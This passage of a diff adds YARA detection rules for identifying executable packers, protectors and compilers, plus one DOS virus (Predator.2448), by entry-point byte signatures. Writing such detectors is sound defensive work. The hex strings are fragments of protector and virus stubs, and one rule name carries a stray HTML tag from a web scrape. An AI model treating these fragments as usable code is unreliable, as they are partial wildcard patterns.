+		$0 = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08}
+		$1 = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 57 6A 00 E8 CE 00 00 00 85 C0 74 78 BD 50 C3 00 00 8B 3D 04 20 40 00 8B 07 8D 3C 07 83 C7 04 89 3D 04 20 40 00 8B 0F 83 C7 04 8B 1F 83 C7 04 4D 85 ED 74 57 60 6A 00 51 68 5C 20 40 00 53 FF 35 4C 20 40 00 E8 93 00 00 00 85 C0 61 74 E1 8B C1 60 BE 5C 20 40 00 F3 A6 74 03 61 EB D2 60 6A 00 50 57 53 FF 35 4C 20 40 00 E8 7A 00 00 00 85 C0 74 20 61 83 3C 07 00 74 2D 03 F8 EB A8 B8 5E 21 40 00 EB 13 B8 7C 21 40 00 EB 0C B8 9E 21 40 00 EB 05 B8 CF 21 40 00 6A 00 68 56}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Crinkler_V03V04__Rune_LHStubbe_and_Aske_Simon_Christensen_
+{
+	meta:
+		description = "Crinkler V0.3-V0.4 -> Rune L.H.Stubbe and Aske Simon Christensen"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44}
+		$1 = {B8 00 00 42 00 31 DB 43 EB 58}
+		$2 = {B8 00 00 42 00 31 DB 43 EB 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Nullsoft_Install_System_v20a7__Nullsoft_
+{
+	meta:
+		description = "Nullsoft Install System v2.0a7 -> Nullsoft"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 BC 80 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB EE 90 14 2C 77 2A D3 EB 01 87 2A D3 E8 01 00 00 00 92 59 88 16 EB 02 52 08 46 EB 02 CD 20 4B 80 F1 C2 85 DB 75 AE C1 E0 04 EB 00 DA B2 82 5C 9B C7 89 98 4F 8A F7 ?? ?? ?? B1 4D DF B8 AD AC AB D4 07 27 D4 50 CF 9A D5 1C EC F2 27 77 18 40 4E A4 A8 B4 CB 9F 1D D9 EC 1F AD BC 82 AA C0 4C 0A A2 15 45 18 8F BB 07 93 BE C0 BC A3 B0 9D 51 D4 F1 08 22 62 96 6D 09 73 7E 71 A5 3A E5 7D 94 A3 96 99 98 72 B2 31 57 7B FA AE 9D 28 4F 99 EF A3 25 49 60 03 42 8B 54 53 5E 92 50 D4 52 4D C1 55 76 FD F7 8A FC 78 0C 82 87 0F}
+		$1 = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPXcrypter__archphaseNWC_
+{
+	meta:
+		description = "UPXcrypter -> archphase/NWC"
+	strings:
+		$0 = {BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_70_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.0"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 ?? ?? 83}
+		$1 = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4 8B 75 0C}
+		$2 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01}
+		$3 = {6A 18 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF 94 00 00 00 8B C7 E8 ?? ?? ?? ?? 89}
+		$4 = {6A 60 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF 94 00 00 00 8B C7 E8 ?? ?? ?? ?? 89}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _DBPE_vxxx_
+{
+	meta:
+		description = "DBPE vx.xx"
+	strings:
+		$0 = {03 05 80 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260a_
+{
+	meta:
+		description = "Armadillo v2.60a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RoseTiny_095_
+{
+	meta:
+		description = "RoseTiny 0.95"
+	strings:
+		$0 = {50 53 B4 30 CD 21 86 E0 3D 00 03 73 02 CD 20 06 50 2B C0 8E C0 85 06 0B EA B8 EB 03 EB FC EA 26 81 36 05 00 D8 83 85 06 1C EA B8 EB 03 EB FC EA 26 81 36 0D 00 0B 9E 85 06 2D EA B8 EB 03 EB FC EA 26 81 36 41 00 BF B4 EB 01 81 58 07 50 B8 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v50_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 00 00 00 00 30 00 00 00}
+		$1 = {FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VProtector_V0XV12X__vcasm_
+{
+	meta:
+		description = "VProtector V0.X-V1.2X -> vcasm"
+	strings:
+		$0 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v028__0399_relocated_image_base__Delphi_NET_DLL_or_something_else_img_srcimagessmiliessmileg
+{
+	meta:
+		description = "Upack v0.28 - 0.399 (relocated image base - Delphi, .NET, DLL or something else <img src=images/smilies/smile.gif align=absmiddle border=0> -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 1C B1 30 8B 5D 0C 03 D1 FF 16 73 4C 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 18 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 38 FF 56 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V1032__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.03.2 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+		$1 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_v082_
+{
+	meta:
+		description = "aPack v0.82"
+	strings:
+		$0 = {1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB}
+		$1 = {1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Predator2448_
+{
+	meta:
+		description = "Vx: Predator.2448"
+	strings:
+		$0 = {0E 1F BF ?? ?? B8 ?? ?? B9 ?? ?? 49 ?? ?? ?? ?? 2A C1 4F 4F ?? ?? F9 CC}
+		$1 = {0E 1F BF ?? ?? B8 ?? ?? B9 ?? ?? 49 ?? ?? ?? ?? 2A C1 4F 4F ?? ?? F9 CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_v01__emadicius_
+{
+	meta:
+		description = "MSLRH v0.1 -> emadicius"
+	strings:
+		$0 = {54 75 72 62 6F ?? 50 72 6F 66 69 6C 65 72 ?? 61 72 65 61 73 ?? 66 69 6C 65}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v201_
+{
+	meta:
+		description = "Armadillo v2.01"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1322__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.2.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _HEALTH_v51_by_Muslim_MPolyak_
+{
+	meta:
+		description = "HEALTH v.5.1 by Muslim M.Polyak"
+	strings:
+		$0 = {1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26}
+		$1 = {1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _COM2EXE_
+{
+	meta:
+		description = "COM2EXE"
+	strings:
+		$0 = {F0 FF FE FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Anti007__NsPacK_Private_
+{
+	meta:
+		description = "Anti007 -> NsPacK Private"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VcasmProtector_10_
+{
+	meta:
+		description = "Vcasm-Protector 1.0"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9}
+		$2 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _XorCopy_10_
+{
+	meta:
+		description = "XorCopy 1.0"
+	strings:
+		$0 = {B8 00 05 BB 03 01 BA 00 00 31 07 43 40 39 D3 75 F8 C6 06 00 01 E9 C6 06 01 01 00 C6 06 02 01 00 31 C0 31 DB 31 D2 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v30_
+{
+	meta:
+		description = "PEncrypt v3.0"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA}
+		$1 = {E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BeRoEXEPacker_V100__BeRo_
+{
+	meta:
+		description = "BeRoEXEPacker V1.00 -> BeRo"
+	strings:
+		$0 = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74}
+		$1 = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3}
+		$2 = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _Unknown_encryptor_2__PK7Tjrvx_
+{
+	meta:
+		description = "Unknown encryptor (2) - PK7Tjrvx"
+	strings:
+		$0 = {06 B4 52 CD 21 07 E8 ?? ?? B4 62 CD 21 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PEBundle_20x__24x__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_110_beta_7_
+{
+	meta:
+		description = "PECompact 1.10 beta 7"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 00 87 DD 8B 85 9A 60 40 00 01 85 03 60 40 00 66 C7 85 00 60 40 00 90 90 01 85 92 60 40 00 BB 14 08 00 00 03 9D 9E 60 40 00 03 9D 9A 60 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V113002006_Beta__NEOx_
+{
+	meta:
+		description = "nPack V1.1.300.2006 Beta -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 2D 02 00 00 E8 DD 06 00 00 E8 2C 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_SVKP_13x__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake SVKP 1.3x) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 00 00 00 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 00 00 00 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_EXE_Protector_18_
+{
+	meta:
+		description = "Private EXE Protector 1.8"
+	strings:
+		$0 = {A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 FF 31 F6 C3}
+		$1 = {BB DC EE 0D 76 D9 D0 8D 16 85 D8 90 D9 D0}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PECompact_0978_
+{
+	meta:
+		description = "PECompact 0.978"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 00 87 DD 8B 85 A9 88 40 00 01 85 18 88 40 00 66 C7 85 15 88 40 00 90 90 BB A8 09 00 00 03 9D AD 88 40 00 03 9D A9 88 40 00 53 53 53 58 2D 7F}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_BJFNT_13__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake .BJFNT 1.3) -> emadicius"
+	strings:
+		$0 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50}
+	condition:
+		$0 at entrypoint
+}
+rule _LC_300_1986_
+{
+	meta:
+		description = "LC 3.00 (1986)"
+	strings:
+		$0 = {FA B8 00 00 05 10 00 B1 04 D3 E8 8C CB 03 C3 8E D8 8E D0}
+	condition:
+		$0 at entrypoint
+}
+rule _NSPack_3x__Liu_Xing_Ping_
+{
+	meta:
+		description = "NSPack 3.x -> Liu Xing Ping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D}
+		$1 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF ?? 38 01 0F 84 ?? 02 00 00 ?? 00 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ComprEXE_10_COM_
+{
+	meta:
+		description = "ComprEXE 1.0 [COM]"
+	strings:
